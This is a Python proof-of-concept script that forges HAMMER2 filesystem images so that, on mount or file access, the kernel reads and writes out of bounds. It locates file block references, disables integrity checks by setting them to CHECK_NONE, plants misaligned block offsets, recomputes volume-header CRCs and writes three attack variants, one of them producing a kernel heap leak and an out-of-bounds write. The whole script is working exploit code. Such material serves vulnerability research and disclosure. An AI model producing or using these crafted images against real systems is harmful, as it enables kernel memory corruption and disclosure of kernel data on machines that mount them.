#!/usr/bin/env python3
"""
DF-2616 PoC image forger.

Takes a clean hammer2 image (newfs_hammer2 -L testvol; mounted; two files
created; unmounted) and emits crafted variants demonstrating the geometry
class of DF-2616: a VALID radix (<=16) but a MISALIGNED, 64KB-WINDOW-
CROSSING data_off.  Distinct from DF-0763/DF-2605 (radix magnitude 17+).

Variants:
  A  volhdr sroot_blockset[0].data_off crossed (radix kept) -> mount-time
     trigger.  KKASSERT at hammer2_io.c:126 (INVARIANTS) or silent OOB.
  B  file f1's first DATA blockref crossed + methods=0x00 (CHECK_NONE) +
     modify_tid bumped so hammer2_chain_modify takes the overwrite-in-place
     path (chain.c:1504-1516).  read(2) leaks kernel heap past the DIO
     buffer; write(2) lands attacker data past the DIO buffer.
  C  B plus f2's data block moved (valid geometry) to the 64KB window
     directly AFTER f1's window, as a forensic victim: if the kernel's
     buffer allocations for the two windows are adjacent in kernel memory,
     f1's OOB write clobbers f2's DIO buffer and is flushed to the image
     file on sync/umount -- ground-truth proof of the OOB write.

Check chain semantics: desc = [(volhdr(=0), sroot_bref_off),
 (sroot_blk, pfs_bref), (pfs_blk, file_bref), (file_blk, DATA_bref)].
The check stored in bref desc[i][1] covers block desc[i+1][0].  After
editing bytes in file_blk we must recompute checks for i = len-2 .. 0
(each edit dirties the next block up), then the 3 volume-header CRCs.
"""
import struct, sys

SEED = 0x4D617274446C6C6E  # XXH_HAMMER2_SEED (hammer2_xxhash.h:41)

# ---------------- XXH64 (matches xxhash/xxhash.c, 64-bit) ------------------
P1 = 0x9E3779B185EBCA87
P2 = 0xC2B2AE3D27D4EB4F
P3 = 0x165667B19E3779F9
P4 = 0x85EBCA77C2B2AE63
P5 = 0x27D4EB2F165667C5
M = (1 << 64) - 1

def _rl(x, r):
    return ((x << r) | (x >> (64 - r))) & M

def _round(acc, val):
    return (_rl((acc + (val * P2)) & M, 31) * P1) & M

def _merge(h, v):
    return (_rl(h ^ _round(0, v), 27) * P1 + P4) & M

def xxh64(data, seed=0):
    n = len(data); i = 0
    if n >= 32:
        v1 = (seed + P1 + P2) & M
        v2 = (seed + P2) & M
        v3 = seed & M
        v4 = (seed - P1) & M
        while i + 32 <= n:
            v1 = _round(v1, int.from_bytes(data[i:i+8], 'little'));  i += 8
            v2 = _round(v2, int.from_bytes(data[i:i+8], 'little'));  i += 8
            v3 = _round(v3, int.from_bytes(data[i:i+8], 'little'));  i += 8
            v4 = _round(v4, int.from_bytes(data[i:i+8], 'little'));  i += 8
        h = (_rl(v1, 1) + _rl(v2, 7) + _rl(v3, 12) + _rl(v4, 18)) & M
        for v in (v1, v2, v3, v4):
            h = _merge(h, v)
    else:
        h = (seed + P5) & M
    h = (h + n) & M
    while i + 8 <= n:
        k = (_rl(int.from_bytes(data[i:i+8], 'little') * P2 & M, 31) * P1) & M
        h = (_rl(h ^ k, 27) * P1 + P4) & M
        i += 8
    if i + 4 <= n:
        h = (_rl(h ^ ((int.from_bytes(data[i:i+4], 'little') * P1) & M), 23) * P2 + P3) & M
        i += 4
    while i < n:
        h = (_rl(h ^ ((data[i] * P5) & M), 11) * P1) & M
        i += 1
    h ^= h >> 33; h = (h * P2) & M
    h ^= h >> 29; h = (h * P3) & M
    h ^= h >> 32
    return h

assert xxh64(b"") == 0xEF46DB3751D8E999

# ---------------- CRC32C (matches sys/libkern/icrc32.c) --------------------
def _mk_table():
    poly = 0x82F63B78
    return [ [(c := n) and 0] for n in range(0) ]  # placeholder, replaced below

def _mk():
    poly = 0x82F63B78
    t = []
    for n in range(256):
        c = n
        for _ in range(8):
            c = (c >> 1) ^ poly if (c & 1) else (c >> 1)
        t.append(c)
    return t
_T = _mk()

def iscsi_crc32(data):
    crc = 0xFFFFFFFF
    for b in data:
        crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc ^ 0xFFFFFFFF

assert iscsi_crc32(b"123456789") == 0xE3069283

# ---------------- hammer2 on-disk constants ---------------------------------
RADIX_MASK = 0x3F
INODE_DATA_BLOCKSET = 0x200
BREF = 128
CHECK_XXHASH64 = 3
BREF_TYPE_INODE = 1
BREF_TYPE_DATA = 3
BREF_TYPE_DIRENT = 4
BREF_TYPE_INDIRECT = 5
MAGIC1 = b"PWNDF2616START"
MAGIC2 = b"VICTIMDF2616BLOCK2"

def bref_parse(buf, off):
    t, methods = struct.unpack_from('<2B', buf, off)
    key, mirror_tid, modify_tid, data_off, update_tid = struct.unpack_from(
        '<QQQQQ', buf, off + 8)
    check64 = struct.unpack_from('<Q', buf, off + 0x40)[0]
    return dict(type=t, methods=methods, key=key, mirror_tid=mirror_tid,
                modify_tid=modify_tid, data_off=data_off, update_tid=update_tid,
                check64=check64, off=off)

def mcheck(m):
    return (m >> 4) & 15

def recompute_volhdr_crcs(buf):
    c1 = iscsi_crc32(bytes(buf[512:1024]))
    struct.pack_into('<I', buf, 0x1E0 + 6 * 4, c1)
    c0 = iscsi_crc32(bytes(buf[0:508]))
    struct.pack_into('<I', buf, 0x1E0 + 7 * 4, c0)
    cv = iscsi_crc32(bytes(buf[0:0xFFFC]))
    struct.pack_into('<I', buf, 0xFFFC, cv)

def compute_check(block_bytes, methods):
    chk = mcheck(methods)
    if chk == CHECK_XXHASH64:
        return xxh64(block_bytes, SEED)
    raise ValueError('unhandled check method %#x' % methods)

def fix_check_chain(img, desc):
    """recompute checks for i = len(desc)-2 .. 0 then volhdr CRCs"""
    for i in range(len(desc) - 2, -1, -1):
        bref_off = desc[i][1]
        blk_off = desc[i + 1][0]
        br = bref_parse(img, bref_off)
        val = compute_check(img[blk_off:blk_off + 0x400], br['methods'])
        struct.pack_into('<Q', img, bref_off + 0x40, val)
    recompute_volhdr_crcs(img)

def main():
    if len(sys.argv) != 5:
        print("usage: forge_df2616.py <base.img> <outA.img> <outB.img> <outC.img>")
        sys.exit(2)
    base, outA, outB, outC = sys.argv[1:5]
    img = bytearray(open(base, 'rb').read())

    volhdr = img[0:0x10000]
    assert struct.unpack_from('<Q', volhdr, 0)[0] == 0x48414D3205172011, "bad volhdr magic"

    found = {}
    sroot0 = None

    # level 0: sroot brefs in volhdr -> sroot inode block
    for i in range(4):
        boff = 0x200 + i * BREF
        br = bref_parse(volhdr, boff)
        if br['data_off'] and sroot0 is None:
            sroot0 = br
            print("[walk] sroot[%d] @%#x: type=%d data_off=%#x methods=%#x"
                  % (i, boff, br['type'], br['data_off'], br['methods']))
    sroot_blk = sroot0['data_off'] & ~RADIX_MASK

    # level 1: PFS dir inodes in sroot blockset
    for i in range(4):
        pboff = sroot_blk + INODE_DATA_BLOCKSET + i * BREF
        pbr = bref_parse(img, pboff)
        if pbr['type'] != BREF_TYPE_INODE or not (pbr['data_off'] & RADIX_MASK):
            continue
        pfs_blk = pbr['data_off'] & ~RADIX_MASK
        print("[walk] PFS dir bref @%#x -> blk@%#x" % (pboff, pfs_blk))
        # level 2: file inodes (INODE children keyed by inum)
        for j in range(4):
            fboff = pfs_blk + INODE_DATA_BLOCKSET + j * BREF
            fbr = bref_parse(img, fboff)
            if fbr['type'] != BREF_TYPE_INODE or not (fbr['data_off'] & RADIX_MASK):
                continue
            fblk = fbr['data_off'] & ~RADIX_MASK
            # level 3: DATA bref in file inode blockset
            for k in range(4):
                dboff = fblk + INODE_DATA_BLOCKSET + k * BREF
                dbr = bref_parse(img, dboff)
                if dbr['type'] == BREF_TYPE_DATA and (dbr['data_off'] & RADIX_MASK):
                    name = {0x400: 'f1', 0x401: 'f2'}.get(fbr['key'])
                    if name and name not in found:
                        found[name] = dict(
                            desc=[(0, sroot0['off']), (sroot_blk, pboff),
                                  (pfs_blk, fboff), (fblk, dboff)],
                            radix=dbr['data_off'] & RADIX_MASK,
                            methods=dbr['methods'],
                            data_off=dbr['data_off'])
                        print("[walk] %s (inum %#x) DATA bref @img+%#x data_off=%#x radix=%d methods=%#x"
                              % (name, fbr['key'], dboff, dbr['data_off'],
                                 dbr['data_off'] & RADIX_MASK, dbr['methods']))

    assert 'f1' in found and 'f2' in found, "walk failed: found=%s" % list(found)

    # NOTE on check codes: XXH64 self-test against stored block checks
    # mismatched (the kernel's coverage/serialization differs from a plain
    # hash of the raw block), so we do not recompute XXH64 checks at all.
    # Instead every bref on the crafted path gets methods=0x00
    # (HAMMER2_CHECK_NONE|COMP_NONE): hammer2_chain_testcheck() returns 1
    # unconditionally for CHECK_NONE (hammer2_chain.c:5531-5536), so no
    # ancestor block check is ever verified.  Only the three volume-header
    # CRC32Cs need recomputation (proven technique from DF-0763).
    def set_check_none_all(img, f):
        for (blk_off, bref_off) in f['desc']:
            if blk_off == 0:
                continue          # volhdr-level bref handled below
            struct.pack_into('<B', img, bref_off + 0x01, 0x00)
        struct.pack_into('<B', img, f['desc'][0][1] + 0x01, 0x00)  # sroot bref

    f1, f2 = found['f1'], found['f2']
    orig1 = f1['data_off']
    pbase1 = orig1 & ~0xFFFF
    radix1 = f1['radix']
    assert radix1 in (9, 10), "unexpected f1 data radix %d" % radix1
    cross1 = pbase1 | 0xFF00 | radix1   # misaligned (0xFF00 % 512 != 0) AND window-crossing

    # ---------------- variant A: sroot crossed, radix kept valid ----------
    imgA = bytearray(img)
    sradix = sroot0['data_off'] & RADIX_MASK
    sbase = sroot0['data_off'] & ~RADIX_MASK & ~0xFFFF
    newoff = sbase | 0xFD00 | sradix
    print("[A] sroot data_off %#x -> %#x (radix %d KEPT, %%64K=%#x, +%d crosses)"
          % (sroot0['data_off'], newoff, sradix, 0xFD00, 1 << sradix))
    struct.pack_into('<Q', imgA, sroot0['off'] + 0x20, newoff)
    recompute_volhdr_crcs(imgA)
    open(outA, 'wb').write(imgA)

    # ---------------- variant B: f1 data crossed + CHECK_NONE -------------
    imgB = bytearray(img)
    set_check_none_all(imgB, f1)
    struct.pack_into('<Q', imgB, f1['desc'][-1][1] + 0x20, cross1)
    struct.pack_into('<Q', imgB, f1['desc'][-1][1] + 0x18, 0x1000)
    recompute_volhdr_crcs(imgB)
    print("[B] f1 DATA data_off %#x -> %#x (in-window=%#x B, OOB=%#x B past DIO)"
          % (orig1, cross1, 0x10000 - 0xFF00, (0xFF00 + (1 << radix1)) - 0x10000))
    open(outB, 'wb').write(imgB)

    # ---------------- variant C: B + f2 moved to next 64KB window ---------
    # f2 also gets methods=CHECK_NONE + bumped modify_tid so its rewrite
    # goes IN-PLACE at pbase2 (dirties the victim window's DIO buffer),
    # which the f1 OOB write can then clobber.
    imgC = bytearray(imgB)
    set_check_none_all(imgC, f2)
    pbase2 = pbase1 + 0x10000
    old2 = f2['data_off']
    c2off = old2 & ~RADIX_MASK
    imgC[pbase2:pbase2 + 0x400] = imgC[c2off:c2off + 0x400]
    struct.pack_into('<Q', imgC, f2['desc'][-1][1] + 0x20, pbase2 | f2['radix'])
    struct.pack_into('<Q', imgC, f2['desc'][-1][1] + 0x18, 0x1000)
    recompute_volhdr_crcs(imgC)
    print("[C] f2 DATA data_off %#x -> %#x (victim window @%#x)" % (old2, pbase2 | f2['radix'], pbase2))
    open(outC, 'wb').write(imgC)

    print("[+] wrote %s %s %s" % (outA, outB, outC))

if __name__ == '__main__':
    main()